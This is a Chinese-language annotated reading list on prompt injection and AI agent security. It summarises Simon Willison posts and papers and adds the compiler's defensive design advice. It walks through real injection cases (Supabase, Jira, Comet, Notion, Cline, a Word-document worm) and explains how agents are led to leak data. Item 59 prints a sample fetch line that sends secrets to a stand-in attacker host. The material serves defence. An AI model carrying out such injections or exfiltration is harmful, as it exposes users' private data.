00:00:00
资料库 ③ · Agent 安全与 Prompt Injection
第 41–60 条 · 共 20 条 · 来源：Simon Willison、Google、学术论文 · 时间跨度 2025-06 至 2026-07
如果整个资料库你只读一卷，读这一卷
prompt injection 是目前唯一没有可靠解法的严重安全问题。 SQL 注入有参数化查询，XSS 有输出转义，CSRF 有 token——这些都是结构性的解法，用对了就没有这个漏洞。prompt injection 没有这样的东西。
这不是"还没想出来"，而是问题的性质决定的：LLM 的输入里，指令和数据用的是同一个通道，没有语法上的边界可以区分"这是我给你的命令"和"这是你正在处理的内容"。
所以这一卷的实际用途不是"学会怎么防"，而是学会在架构阶段就避开那些没法防的组合。这个能力的价值远高于任何具体的过滤技巧。
Simon Willison 从 2022 年就在跟这个问题（"prompt injection" 这个词就是他推广开的），prompt-injection 标签下已经积累了 160 多篇。我从里面选了 20 篇，按时间排：先是 2025 年 6 月那批建立框架的文章，然后是一年多来的真实案例，最后是 2026 年出现的新攻击形态。
为什么大量收录"某某产品泄露数据"这类案例：因为它们证明了一件事——这不是理论风险。被攻破的名单里有 Supabase、Notion、Perplexity Comet、Salesforce、Microsoft Copilot、Google Antigravity、Claude 的多个产品。这些团队都不缺安全能力，缺的是可用的解法。 看完这一串，你就不会觉得"我小心一点就没事"了。
关于时效
这一卷里 结构性 的比例是五卷里最高的——因为判断标准和攻击原理基本不会过期。标了 会过期 的主要是具体产品的漏洞状态（大多已修复），读它们是为了理解攻击模式，不是为了知道某个产品现在安不安全。
2025 年 6 月：框架建立
41. Design Patterns for Securing LLM Agents against Prompt Injections
来源：Simon Willison 介绍的一篇学术论文，2025 年 6 月 13 日。结构性
读它解决什么：有没有一些架构模式，能在设计上避免 prompt injection，而不是靠过滤。
要点：
- 论文的核心立场：不要试图检测和过滤注入，要设计出让注入无法造成危害的架构
- 提出了若干可组合的设计模式，思路都是限制 LLM 输出能触发什么后果
- 讨论了每种模式的适用范围和它牺牲掉的能力
我的补充：这篇的核心思想是这一卷最值得先装进脑子的东西：把注意力从"怎么识别恶意输入"转到"怎么让恶意输入无法造成损害"。
理由很硬：识别恶意输入是个开放性问题——攻击者可以用无穷多种表达方式，你的过滤器永远落后一步。而限制后果是个封闭性问题——你能穷举 agent 能做什么，然后把危险的去掉。一个是猫捉老鼠，一个是一次性做对。
按这个思路，我在实际项目里用得最多的几个模式：
- 让 LLM 只能选，不能造。 不让它生成 SQL，而是让它从预定义的查询里选一个、填参数。注入最多让它选错查询，不能让它执行任意语句。
- 先定计划，再执行。 在接触不可信内容之前就把要做的步骤定下来，之后只按计划走。这样注入内容影响不了"要做什么"，只能影响"内容本身"。 这个模式很有效，代价是失去了动态调整的能力。
- 双 LLM 隔离。 一个"特权 LLM"从不直接看到不可信内容，一个"隔离 LLM"处理不可信内容但没有工具权限，两者之间只传递结构化的、受限的数据。
- 上下文最小化。 处理不可信内容时，上下文里不放任何敏感数据。注入成功了也偷不到东西，因为东西不在那儿。
这些模式共同的代价是能力受限——都比"给 agent 全部权限让它自由发挥"能做的事少。这个交换是必须接受的，因为另一边不是"能力更强"，而是"能力更强且可以被任意人接管"。
42. An Introduction to Google's Approach to AI Agent Security
来源：Simon Willison 介绍 Google 的白皮书，2025 年 6 月 15 日。结构性
读它解决什么：一家大公司在生产环境里怎么处理这个问题。
要点：
- Google 采用纵深防御（defense in depth）：不指望单层防护解决问题，而是叠加多层
- 一层是传统的确定性控制（权限、沙箱、策略引擎），一层是基于模型推理的防御
- 明确承认基于推理的防御不可靠，所以必须有确定性的兜底
我的补充：这一条最值得注意的是它诚实承认了"用 AI 防 AI"不可靠，这和很多厂商宣传的口气不一样。
为什么不可靠，值得说清楚：如果你用一个 LLM 去判断输入里有没有注入，那个判断用的 LLM 自己也会被注入。攻击者可以写一段内容，既能骗过检测器，又能攻击主 agent。你只是把攻击面往前挪了一层，没有消除它。
所以正确的结构是 Google 说的这样：
- 确定性控制是地基——权限边界、网络白名单、沙箱、审计日志。这些不依赖任何模型判断，攻击者说什么都改变不了它们。
- 模型推理的防御是额外一层——能挡掉一部分攻击，提高攻击成本，但绝不能作为唯一防线。
我自己检查一个 agent 系统时，第一个问题就是："把所有基于模型判断的防护都假设失效，这个系统还安全吗？" 如果答案是否，那这个系统的安全性建立在攻击者写不出足够聪明的 prompt 上，而这个假设不成立。
43. The lethal trifecta for AI agents: private data, untrusted content, and external communication
来源：Simon Willison，2025 年 6 月 16 日。结构性
读它解决什么：一个能在三十秒内判断"我的 agent 有没有致命风险"的标准。
要点：
- 提出 lethal trifecta（致命三要素）：
- 访问私有数据（private data）
- 接触不可信内容（untrusted content）
- 能对外通信（external communication）
- 三者同时具备时，数据一定会被偷走，没有 prompt 层面的补救办法
- 攻击链条极其简单：不可信内容里藏指令 → agent 读到并执行 → 用对外通信能力把私有数据发出去
我的补充：这是我认为整个资料库里最重要的一条，没有第二个候选。 理由是它把一个复杂的安全问题压缩成了一个你能在会议上现场用的判断标准。不需要懂攻击细节，数一下三个条件占了几个就行。
它的力量在于给出了明确的行动方向：拆掉任意一条腿，攻击链就断了。
- 拆"私有数据" → agent 只处理公开信息，或者敏感数据不进它的上下文
- 拆"不可信内容" → 只让它读你完全控制的内容。注意这一条最容易被误判（下面细说）
- 拆"对外通信" → 没有网络、或者严格白名单
"不可信内容"的范围被严重低估，这是我见过最多的错误。 它包括：
- 网页内容（任何人都能改）
- 用户上传的文件（PDF、图片里的文字、Office 文档——见第 60 条）
- 别人提的 issue、别人发的 PR、别人写的 commit message（见第 56 条）
- 收到的邮件（发件人是攻击者）
- 第三方 API 返回的数据
- 数据库里由用户写入的字段
- 搜索结果（攻击者可以专门做 SEO 让恶意页面被搜到）
- 日志文件（如果日志里有用户可控的内容）
- 依赖包的 README、代码注释
"对外通信"的范围也被低估：
- 发 HTTP 请求（最明显）
- 图片 URL——
渲染时就发出去了，这是最常见的实际泄露路径 - DNS 查询——即便被防火墙拦了 HTTP，DNS 解析可能仍然出去
- 写文件到会被同步/发布的位置
- 发邮件、发消息、提交 PR、写 issue 评论
- 链接——只要人可能点，就算通信通道
我的实践建议：把这三条做成上线前的 checklist，逐条打勾。 三条全中就必须改架构，不是加过滤。这一条完全不会过期。
44. 99% 有效的缓解措施等于没有措施
来源：Simon Willison 的一条短笔记，2025 年 6 月 16 日。结构性
读它解决什么：为什么"能挡住 99% 攻击"的方案在这里不算方案。
要点：
- 类比参数化 SQL 查询：它是 100% 有效的，用了就没有 SQL 注入
- 而 prompt injection 的各种缓解措施都是概率性的
- 面对主动的、有智力的攻击者，99% 的防护意味着他们只需要不断尝试
我的补充：这个论点是理解整个领域困境的钥匙，我建议和第 43 条一起当作基本功。
关键区别在于攻击者是不是自适应的：
- 防随机故障（比如硬盘坏道）时，99.9% 可靠性是很好的指标——故障不会针对你的弱点。
- 防主动攻击者时，99% 的拦截率意味着攻击者试 100 次就能进来一次。而试 100 次的成本近乎为零（脚本跑一晚上），收益是你的全部数据。
所以在安全语境下，"拦截率"这个指标本身就是错的框架。 正确的问题不是"能挡住多少"，而是**"有没有一条路能进来"**。
这直接推出为什么参数化查询是真正的解法：它不是"让注入更难"，而是让 SQL 语句的结构在参数值到达之前就已经固定，参数永远不可能变成语句的一部分。攻击者试一万次也没用，因为这条路在结构上不存在。
prompt injection 目前没有对应的东西。 所以现阶段唯一可靠的做法就是第 41、43 条讲的：在架构层避开危险组合，而不是在输入层加过滤。任何"我们的过滤器能挡住 99% 的注入"的宣传，读的时候都应该翻译成"我们没有解决这个问题"。
2025 年 7—9 月：案例开始密集出现
45. Supabase MCP can leak your entire SQL database
来源：Simon Willison，2025 年 7 月 6 日。会过期（漏洞已修，模式长期有效）
读它解决什么：一个 lethal trifecta 的完整真实案例。
要点：
- Supabase 的 MCP 服务器让 agent 能对数据库执行 SQL
- 攻击路径：在数据库的某个用户可写字段里写入注入内容，agent 读到后按指令执行，把整个库的数据泄露出去
- 三要素齐全：私有数据（数据库）、不可信内容（用户写入的字段）、对外通信
我的补充：这个案例最值得学的一点：不可信内容来自数据库自己。
大多数人的心智模型里，"不可信内容"是从外部进来的——网页、邮件、上传的文件。但数据库里由用户填写的字段同样不可信：用户注册时把注入内容写进 bio 字段，一周后你的 agent 跑一个"总结最近注册用户"的任务读到了它。
这个时间差是它危险的地方：写入和触发之间可能隔很久，你在做安全审查时完全想不到这条路。
推论是：只要一条数据在生命周期里的任何时刻被用户控制过，它就永远是不可信内容。 这个判断要一直跟着数据走，不能因为"它现在在我的数据库里"就当成可信。
具体到给 agent 数据库权限这件事，我的做法是：
- 只读连接是最低要求，而且要是受限的只读——通过视图暴露必要字段，不给
SELECT * - 不给 agent 执行任意 SQL 的能力，改成预定义查询 + 参数（第 41 条的"只能选不能造"）
- 如果一定要读用户可写的字段，把它明确标注成不可信数据，并且此时上下文里不能有其他敏感数据
46. When a Jira Ticket Can Steal Your Secrets
来源：Simon Willison，2025 年 8 月 9 日。会过期（模式长期有效）
读它解决什么：内部工具里的内容为什么也算不可信。
要点：
- 一个 Jira ticket 的内容里藏注入指令，接了 Jira 的 agent 读到后泄露数据
- 关键点：Jira 是"内部系统"，但 ticket 的内容不一定由可信的人写
我的补充：这个案例打破的是"内部系统 = 可信"这个假设，而这个假设在企业环境里几乎是默认的。
Jira ticket 的内容可能来自：客户提的支持工单、外部合作方、自动化系统抓的错误报告、离职员工留下的内容、任何有 guest 权限的人。"这是我们公司内网的系统"完全不代表内容可信。
这个模式适用于所有"内部但内容来自多方"的系统：
- 工单/客服系统（客户直接写内容）
- 代码仓库的 issue 和 PR（外部贡献者）
- CI 日志（可能包含外部输入的回显）
- 监控告警（告警内容可能包含用户可控的字符串）
- 内部 wiki（谁都能编辑）
- 邮件（任何人都能发进来）
我建议的判断方式：不问"这个系统是内部的吗"，问"这段文字最初是谁写的，那个人我信任吗"。 只要答案里包含"可能是外部的人"，就是不可信内容。
而且要注意：接了这类系统的 agent 通常权限很大（能读代码、能访问其他内部系统），因为它们被当成"内部工具"。权限大 + 不可信内容 = 正好凑齐三要素。
47. Agentic Browser Security: Indirect Prompt Injection in Perplexity Comet
来源：Simon Willison 介绍 Brave 团队的研究，2025 年 8 月 25 日。会过期（模式长期有效）
读它解决什么：AI 浏览器为什么是这个问题最难的场景。
要点：
- Perplexity Comet 浏览器的 agent 可以被网页里的隐藏指令操纵
- 浏览器 agent 的特点：登录态下访问任意网页——三要素天然齐全
- Brave 团队的分析指出这是架构层面的问题
我的补充：AI 浏览器是 lethal trifecta 的教科书案例，因为三个条件是它的功能定义本身，不是配置失误。
- 私有数据 = 你所有登录的会话（邮箱、银行、公司系统、社交账号）
- 不可信内容 = 你访问的任意网页
- 对外通信 = 浏览器本来就是干这个的
这三条一个都拆不掉，因为拆掉任何一条它就不是浏览器了。 这也是为什么这个方向上所有产品都反复出问题——不是某家做得不好，是这个产品形态本身处在最危险的位置。
我自己的用法（也是我会给别人的建议）：
- 不在装了 AI agent 的浏览器里登录重要账号。 银行、邮箱、公司系统——分开用另一个浏览器或另一个 profile。这是最有效的一步，因为它直接拆掉了"私有数据"那条腿。
- 把 agent 浏览器当成只用来看公开内容的工具
- 不要让它代你操作有实际后果的事（转账、发邮件、改配置）
顺带说一个具体的攻击手法，因为它解释了为什么"我看了那个网页，没发现异常"不算安全：注入内容可以是白底白字、字号 0、CSS 隐藏、HTML 注释、图片里的文字（见第 52 条）。你看不见，agent 看得见。
48. The Hidden Risk in Notion 3.0 AI Agents
来源：Simon Willison 介绍 CodeIntegrity 的研究，2025 年 9 月 19 日。会过期（模式长期有效）
读它解决什么：一个"搜索工具"怎么变成数据泄露通道。
要点：
- Notion 3.0 的 AI agent 能读工作区内容，也能用网页搜索工具
- 攻击：注入指令让 agent 把私有数据编码进搜索查询，攻击者从自己的日志里读出来
- 搜索工具成了对外通信通道
我的补充：这个案例最有价值的地方是它扩展了"对外通信"的定义——搜索本身就是通信。
机制很直白：agent 搜索 "公司下季度营收预测 4200 万"，这个字符串会到达搜索服务；如果攻击者能控制搜索目标或者看到查询日志，数据就出去了。agent 没有"发送数据"，它只是"搜索"——但效果一样。
按这个思路，很多看起来无害的工具都是潜在的外发通道：
- 搜索（查询词就是数据）
- DNS 查询（域名里能编码数据，且常常绕过 HTTP 层的防火墙）
- 图片加载（URL 参数带数据，这是最常见的实际路径）
- URL 预览/展开（agent 生成链接，客户端自动去拉取）
- webhook、日志上报、错误上报（Sentry 之类）
- 翻译 API、拼写检查、任何把文本送出去处理的服务
- 写文件到会被同步的目录（云盘、git push）
判断标准我建议这样定：这个工具会不会让任何字节离开我的信任边界？ 会就是通信通道，不管它的名字叫什么。
这条也说明为什么"我只给了它搜索权限，很安全"是错的——在有私有数据和不可信内容的情况下，只给搜索权限就已经凑齐三要素了。
49. Why AI systems might never be secure
来源：Simon Willison 介绍 The Economist 的报道，2025 年 9 月 23 日。结构性
读它解决什么：这个问题有可能被彻底解决吗。
要点：
- 讨论的是一个悲观但有依据的判断：LLM 的架构决定了它难以区分指令和数据
- 传统软件靠"代码和数据分离"来保证安全，LLM 没有这个分离
- 因此"永远不安全"是个需要认真对待的可能性，不是修辞
我的补充：这条我认为值得当成工程前提接受下来，而不是当成还会被推翻的悲观预测。
核心论证是这样的：传统程序里，代码在代码段，数据在数据段，CPU 从结构上就不会把数据当指令执行（这也是为什么 NX bit 能有效防御一类缓冲区溢出）。而 LLM 的输入是一段文本，"系统提示"和"用户数据"在模型看来都是 token 序列，没有硬件或语法层面的隔离。
各种尝试都只是让区分"更可能"，而不是"确定"：
- 特殊分隔符 → 攻击者可以模仿分隔符
- 训练模型区分角色 → 概率性的，能被绕过（第 57 条讲的就是这个）
- 用另一个模型检测 → 检测器自己也能被注入（第 42 条）
接受这个前提之后，工程决策会变得清晰：
- 不要等一个"根本解法" 再上线你的架构约束，那个解法可能不会来
- 把 agent 当成"可能被外部接管的组件"来设计——这是我认为最正确的心智模型。你不会给一个可能被接管的组件生产数据库的写权限。
- 权限设计按最坏情况：假设 agent 完全被攻击者控制，它能造成的最大损害是什么？这个答案必须是你能承受的。
50. Cross-Agent Privilege Escalation: When Agents Free Each Other
来源：Simon Willison 介绍的研究，2025 年 9 月 24 日。结构性
读它解决什么：多个 agent 共存时，权限会怎么被串起来。
要点：
- 多个 agent 在同一环境里工作时，一个被攻破的 agent 可以利用另一个 agent 的权限
- 单独看每个 agent 权限都合理，组合起来出现了越权路径
我的补充：这一条讲的是"每个组件都安全，系统整体不安全"这个经典问题在 agent 场景里的新形态。
一个具体的场景：
- Agent A 能读网页（接触不可信内容），但没有敏感权限
- Agent B 能访问生产数据库（有敏感权限），但只接受"内部"输入
- A 和 B 之间能通信（共享文件、共享消息队列、A 能给 B 提任务）
分开审查时，A 和 B 都没凑齐三要素，看起来都安全。但攻击者注入 A，让 A 去指使 B，链条就通了。 而且这条链在任何单个 agent 的权限审查里都看不出来。
所以审查 agent 系统时，必须按"整个系统的可达权限集合"来算，而不是逐个 agent 算。具体要问：
- 哪些 agent 之间能传递信息？ 包括间接的：共享文件系统、共享数据库、共享消息队列、一个能触发另一个的 CI。
- 能传递信息的 agent，权限是不是应该按并集来看？ 我的答案是：是的，除非它们之间的通道是严格结构化且受验证的。
- 有没有 agent 把"来自另一个 agent 的输入"当成可信的？ 这几乎总是错的——上游 agent 可能已经被注入了。
最实用的一条原则：agent 之间的输入也是不可信输入。 不要因为"这是我们自己的 agent 发来的"就降低警惕。
51. How to stop AI's "lethal trifecta"
来源：Simon Willison 为 The Economist 写的文章，2025 年 9 月 26 日。结构性
读它解决什么：三要素的框架，怎么讲给不写代码的人听。
要点：
- 把 lethal trifecta 的判断标准写给非技术读者
- 强调这是需要产品和架构层面决策的问题，不是技术细节
我的补充：这一条的实际用途是"给决策者看的版本"。 我推荐的用法：需要说服管理层砍掉某个 agent 功能时，把这篇发过去，比你自己解释省事得多——登在《经济学人》上的文章比同事的邮件有说服力，这是现实。
技术负责人经常遇到的困境是：产品想要"AI 助手能读邮件、能查内部资料、还能帮你发邮件"——这个需求描述本身就是三要素齐全。此时你需要的不是更好的过滤器，而是让决策者理解为什么这个组合必须拆开。
拆的方式通常是产品决策，不是技术选择：
- 读邮件的助手不能有发送能力，只能生成草稿给人确认发送
- 查内部资料的助手不接触外部邮件
- 需要跨越边界时，中间必须有人确认
"中间加人确认"是最常被抵制的一步（因为它降低了自动化程度），但在三要素无法拆开的场景里，它往往是唯一可行的方案。注意确认必须是有意义的确认——展示清楚"即将把什么数据发给谁"，而不是一个笼统的"允许吗"（第二卷第 29 条讲的告警疲劳）。
2025 年 10—12 月：新攻击面与防御框架
52. Unseeable prompt injections in screenshots: more vulnerabilities in Comet and other AI browsers
来源：Simon Willison，2025 年 10 月 21 日。结构性
读它解决什么：注入不只能藏在文字里，图片也行。
要点：
- 攻击内容藏在截图/图片里，人眼看不出来，多模态模型能读到
- 影响 Comet 等多个 AI 浏览器
- 手段包括极低对比度的文字等视觉上不可见的方式
我的补充：这一条彻底关掉了"人工检查内容"这条防线，值得单独记住。
因为它意味着：你截了张图给 agent，你看到的和 agent 看到的可以不一样。 文字注入至少理论上能通过审查发现（虽然也可以藏在 HTML 注释里），图片注入连这个可能性都没有——低对比度文字、隐写、超小字号，在你的显示器上就是一片空白。
推论清单：
- 所有图片输入都是不可信内容，包括用户上传的、网页上抓的、别人发给你的截图
- OCR 的结果也是不可信内容——它就是从不可信来源提取的文字
- PDF 里的图片同样适用，而且 PDF 还能藏不可见文字层
- "我看过这张图，没问题"不构成安全依据
多模态让不可信内容的入口从"文本"扩大到了"任何模态"：图片、音频、视频、文档。每加一个模态，就多一类你无法人工审查的注入通道。
实践上我的做法：处理外来图片的 agent，按"处理不可信网页内容"的同等级别对待——上下文里不放敏感数据，不给它对外通信的工具。
53. New prompt injection papers: Agents Rule of Two and The Attacker Moves Second
来源：Simon Willison，2025 年 11 月 2 日。结构性
读它解决什么：两篇重要论文，一个给了新的判断规则，一个说明了防御评估的方法论问题。
要点：
- Agents Rule of Two（Meta 提出）：一个 agent 会话在三个属性中最多只能满足两个——处理不可信输入、访问敏感系统或私有数据、改变状态或对外通信
- The Attacker Moves Second：强调攻击者在你的防御部署之后才行动，所以静态评测出的防御效果会高估真实效果
- 两篇合起来：既给了设计规则，也给了评估防御时该有的谨慎
我的补充：Rule of Two 和 lethal trifecta（第 43 条）本质是同一个洞察，但表述方式更适合落进工程规范。
- lethal trifecta 说的是"三个都有 = 危险"
- Rule of Two 说的是"最多选两个" —— 这是一个可以写进设计文档的硬约束
我更喜欢 Rule of Two 的表述，因为它直接给出了设计动作：在设计阶段就从三个里挑两个，而不是设计完了再检查有没有三个都中。前者是设计原则，后者是事后审查——事后审查往往意味着要重做。
"The Attacker Moves Second" 这篇的方法论意义更大，而且经常被忽略。 它说的是一个评测上的系统性偏差：
- 你的防御在已知攻击集合上测出 95% 拦截率
- 攻击者看到你的防御之后才设计新攻击
- 于是真实环境下的拦截率远低于 95%
这直接说明了为什么"我们在 benchmark 上拦住了 95% 的注入"不能当成安全依据——那个 benchmark 是在你的防御之前就固定的。这一条和第 44 条（99% 等于 0）是配套的，一起读能建立起对"拦截率"这类指标的正确怀疑。
54. MCP Colors: Systematically deal with prompt injection risk
来源：Simon Willison，2025 年 11 月 4 日。结构性
读它解决什么：MCP 工具一多，怎么系统性地判断哪些组合是危险的。
要点：
- 提出给 MCP 工具染色：标记每个工具是"会引入不可信内容"还是"能把数据发出去"
- 借用污点追踪（taint tracking）的思路
- 规则是：同一个会话里不要同时启用两种颜色的工具
我的补充：这是我见过最实用的落地方案，因为它把一个需要思考的判断变成了一个可以自动检查的规则。
染色规则我自己的版本：
- 🔴 红色（引入不可信内容）：网页抓取、读邮件、读 issue、读用户上传的文件、搜索、读数据库里用户可写的字段、读日志
- 🔵 蓝色（能把数据发出去）：HTTP 请求、发邮件、写 issue 评论、搜索（第 48 条）、写文件到会同步的位置、执行任意代码
- ⚪ 白色（都不是）：纯计算、读你完全控制的静态配置、时间日期
注意"搜索"同时是红色和蓝色——它既引入不可信内容（结果），又是外发通道（查询词）。单独启用一个搜索工具就已经违反规则了，这是最容易被忽略的一点。
这个方案最大的价值是它可以自动化：
- 在配置文件里给每个 MCP 工具打标签
- 启动时检查有没有同时启用红蓝，有就拒绝启动或者明确警告
- 这样安全性不依赖任何人在配置时想起这件事——这正是第 42 条讲的"确定性控制"
它的局限也要说清楚：染色是粗粒度的，会误伤一些实际安全的组合（比如外发目标是严格白名单内的地址）。我的处理方式是允许显式的例外声明，但例外要写理由并且能被 review，而不是默认放开。
55. The Normalization of Deviance in AI
来源：Simon Willison，2025 年 12 月 10 日。结构性
读它解决什么：为什么团队会慢慢接受本来不该接受的风险。
要点：
- 引入"偏差正常化"（normalization of deviance）这个概念——来自 Diane Vaughan 对挑战者号事故的研究
- 机制是：违反规范但没出事 → 下次继续 → 逐渐变成新常态 → 直到出大事
- 应用到 AI 使用上：一次次跳过审查而没出问题，于是审查就不做了
我的补充：这一条讲的是组织行为，但它是这一卷里最可能真实发生在你团队里的事，所以我认为它的实际重要性不低于任何技术条目。
挑战者号的原始案例：O 型环在低温下的密封问题在多次发射中都出现过异常，但每次都没有导致事故，于是"O 型环有点问题"逐渐从"必须停飞的警报"变成了"已知的正常现象"。直到 1986 年 1 月。
这个模式在 AI 使用上的具体表现，我在自己身上和团队里都见过：
- 第一次用
--dangerously-skip-permissions时很紧张 → 用了二十次没出事 → 变成默认操作 - 一开始每个 PR 都仔细读 → 发现 AI 写的大多没问题 → 逐渐只看 diff 的行数
- 一开始不给 agent 生产权限 → 有次很急破了例 → 破例变成常规
- 一开始遵守三要素规则 → 有个功能实在需要 → "就这一次"
危险的地方在于"一直没出事"是这个过程的燃料，不是安全的证据。 概率性的风险在没触发之前，看起来和"没有风险"完全一样。
我认为唯一有效的对抗手段是把规则变成不依赖人的判断的东西（这也是第 42、54 条的思路）：
- CI 门禁，不能靠自觉
- 权限在配置里写死，改动需要 review 和记录
- 破例必须留痕——写下原因、时间、谁批的。留痕本身就是最有效的抑制，因为它让"就这一次"变得有成本。
- 定期回看破例记录，看有没有变成常态
2026 年：供应链、角色混淆与蠕虫
56. Clinejection — Compromising Cline's Production Releases just by Prompting an Issue Triager
来源：Simon Willison 介绍的研究，2026 年 3 月 6 日。结构性
读它解决什么：给开源项目装个 AI issue 处理机器人，可能会怎样。
要点：
- Cline 项目用 agent 自动处理 issue
- 攻击者只需要提一个 issue，内容里包含注入指令
- 最终能影响到生产发布
我的补充：这是这一卷里我认为最值得警惕的一条，因为它是供应链攻击，而供应链攻击的影响范围是所有下游用户。
攻击成本极低这一点值得强调：提一个 issue 谁都能做，不需要任何权限，不需要账号审核，不留下可疑痕迹。 而收益是影响一个软件的发布产物——所有装这个软件的人都受影响。这个成本收益比在安全领域是灾难级的。
我在自己项目里的红线：
- CI 里的 agent 不能有发布权限。 能读代码、能跑测试、能提 PR、能写评论——但不能 push 到主分支，不能打 tag，不能发包。这是硬约束。
- agent 提的 PR 必须人工合并，而且要真的读过 diff（对应第 55 条的偏差正常化）
- 来自 fork 的 PR，agent 处理时权限降到最低——这些内容完全由外部控制
issue_comment、pull_request_target这类能拿到写权限的 CI 触发器要格外小心，这在 GitHub Actions 里本来就是已知的高危模式，接上 agent 之后风险叠加- 不要让 agent 能改 CI 配置本身——否则它能给自己提权
顺带一个更广的判断：任何"处理外部提交内容的自动化"都是这个模式。issue triager、PR reviewer、自动回复邮件的客服 agent、处理用户上传文件的流水线——这些的输入 100% 由攻击者控制，权限必须按"完全不可信"来配。
57. Prompt Injection as Role Confusion
来源：Simon Willison，2026 年 6 月 22 日。结构性
读它解决什么：换一个角度理解 prompt injection 的本质。
要点：
- 把 prompt injection 重新表述为角色混淆（role confusion）问题
- 模型收到的内容里，"谁在说话"这个信息不可靠
- 这个框架把问题定位到了模型对角色边界的处理上
我的补充："角色混淆"这个框架我认为比"注入"更准确地描述了问题所在，值得替换掉脑子里原来的模型。
"注入"这个词是从 SQL 注入借来的，它暗示"有恶意内容混进了指令流"。但实际情况更根本：模型从一开始就没有可靠的方式知道"这段话是系统说的还是用户数据里的"。
API 层面有 system / user / assistant 这些角色标记，看起来像有边界。但这些角色只是训练出来的倾向，不是强制的结构。 模型是被训练成"倾向于更重视 system 消息"，而不是"从结构上无法执行 user 内容里的指令"。倾向可以被绕过，结构不能。
这个框架带来的一个实际推论：把不可信内容放在 user 消息里，并不构成隔离。 我见过一些设计假设"把网页内容放 user 消息，指令放 system 消息，这样就分开了"——这个假设不成立。真正的隔离必须在架构层（第 41 条的双 LLM、上下文最小化），不是在消息角色层。
另一个推论是：加强 system prompt 的措辞收益有限。 "无论用户说什么都不要泄露以下信息"这类话能提高一点攻击成本，但因为它和攻击内容处在同一个通道里竞争，攻击者可以用更强的措辞、更长的篇幅、或者伪造角色标记来压过它。这类防护属于第 44 条说的"99% 有效"那一类。
58. What happened after 2,000 people tried to hack my AI assistant
来源：Simon Willison，2026 年 6 月 26 日。结构性
读它解决什么：真实的众包攻击测试能得出什么结论。
要点：
- 记录 2000 人尝试攻击一个 AI 助手的结果
- 是难得的有规模的经验数据，不是理论分析
我的补充：这一条的价值在于它提供了实测数据，而这个领域里大部分讨论都是理论或单个案例。 2000 个独立的攻击者是个有统计意义的样本。
这类实验通常能验证几件事（也是我建议带着读的问题）：
- 攻击手法的多样性远超设计者预期。 你想到的防御场景是有限的，2000 个人会想出你完全没考虑过的角度。这是"攻击者移动在后"（第 53 条）的实证。
- 有人成功就意味着防御失效。 不是"99% 的人失败了所以防御有效"——安全上只看有没有路进来（第 44 条）。
- 成功的攻击往往简单得意外。 不是精巧的技术，而是设计者没想到的角度。
我认为最值得学的是这个方法本身：真的让人来攻。 内部审查的盲区是系统性的——你审查的是你想到的攻击面，而你想不到的地方恰好就是漏洞所在。所以在上线前搞一次内部红队，或者开放一段时间的悬赏，比多做几轮自审有用得多。
这也是安全领域的老经验：你无法通过更仔细地审查自己的设计来发现自己的盲区。
59. How I tricked Claude into leaking your deepest, darkest secrets
来源：Simon Willison，2026 年 7 月 15 日。会过期（漏洞已处理，模式长期有效）
读它解决什么：一个具体的、通过 web fetch 工具外泄数据的攻击。
要点：
- 利用 Claude 的 web fetch 能力构造数据外泄路径
- 是"看起来受限的工具其实是外发通道"的又一个案例
我的补充：这一条是第 48 条（搜索即通信）的同类，但更直接：fetch 工具的 URL 本身就是数据外发通道。
fetch("https://attacker.com/?data=<把秘密编码进来>") —— 即便这个工具"只能读不能写"，URL 里的查询参数已经把数据送到了攻击者的服务器。"只读"指的是它不修改远端资源，不代表它不发送信息。
这解释了为什么域名白名单是必需的，而不是可选的。 常见的错误配置：
- 允许 fetch 任意域名——等于完全开放的外发通道
- 只做黑名单——攻击者随便换个域名就绕过了
- 白名单但允许通配符子域（
*.example.com）——如果那个服务允许用户创建子域，白名单就形同虚设 - 忽略了重定向——白名单域名可以 302 到任意地址，必须检查重定向后的最终地址
- 忽略了 URL 里的路径和参数——即便域名可信，如果那个站点有开放的日志或者用户可读的接口，数据一样出去了
我的配置原则：白名单精确到域名，禁止跟随跨域重定向，记录所有出站请求的完整 URL 以便事后审计。 最后一条经常被省，但出事时它是你唯一能知道泄露了什么的依据。
60. AI Worming through Word
来源：Simon Willison，2026 年 7 月 29 日。结构性
读它解决什么：注入内容能不能自我传播。
要点：
- 通过 Word 文档传播的 AI 攻击
- 涉及蠕虫式传播：被感染的内容能让 agent 产出新的被感染内容
我的补充：这是攻击形态的一次质变，我认为它是这一卷里最值得留意的新发展。 前面所有案例都是"一次攻击，一次损害"；蠕虫是指数传播。
传播机制：
- 攻击者把注入内容放进一个 Word 文档
- 你的 agent 读这个文档、处理它、生成一份新文档
- 注入内容让 agent 把自己复制进新生成的文档
- 新文档发给同事，同事的 agent 读它 → 回到第 2 步
Office 文档特别适合当载体，原因很实在：
- 天天在组织内部流转，信任度默认很高（"这是同事发的"）
- 格式复杂，能藏东西的地方极多：白字、字号 1、隐藏文本属性、批注、修订记录、文档属性、嵌入对象、页眉页脚
- 邮件附件、共享盘、协作平台——传播渠道现成
- 而且人工检查基本无效（第 52 条讲的同类问题）
推论：一旦企业内部普遍部署了会自动读文档的 agent，整个组织就构成了一个可传播的网络。这和 2000 年代的邮件宏病毒是同一个结构，区别是当年的载体是 VBA 宏（可以禁用），现在的载体是自然语言（不能禁用，因为那就是它要处理的内容）。
防御方向：
- 不要让 agent 自动处理外来文档——至少要人触发
- 处理文档的 agent 不应该有生成并发送文档的能力（拆断传播链的第 3、4 步，这是最有效的一环）
- 提取纯文本再处理，丢掉隐藏内容、批注、修订记录、文档属性
- 注意"agent 的输出也可能是被污染的内容"——这个视角在前面所有条目里都不需要，但在蠕虫场景里是核心
- 组织层面要有能力知道"哪些文档被 agent 处理过"，出事时才能追溯传播范围
本卷小结：41–44 条建立框架（第 43 条 lethal trifecta 和第 44 条"99% 等于 0"是必读，其他都是在这两条上展开）；45–48 条是真实案例，用来校准"不可信内容"和"对外通信"的实际范围（第 48 条搜索即通信最反直觉）；49–55 条是理论深化和防御框架（第 54 条 MCP 染色最可落地，第 55 条偏差正常化最可能发生在你团队里）；56–60 条是 2026 年的新形态（第 56 条供应链和第 60 条蠕虫是影响面最大的两类）。
这一卷几乎全部不会过期。 具体漏洞会被修，但 lethal trifecta 的判断标准、"攻击者移动在后"、角色混淆的本质、以及"确定性控制才是地基"这些结论，会一直有效——直到出现一个像参数化查询那样的结构性解法，而按第 49 条的判断，这个解法可能不会来。
上一卷： ← ② Anthropic 的 Agent 工程方法 · 总览： 工具资料库 · 下一卷： ④ LLM 命令行与本地模型 →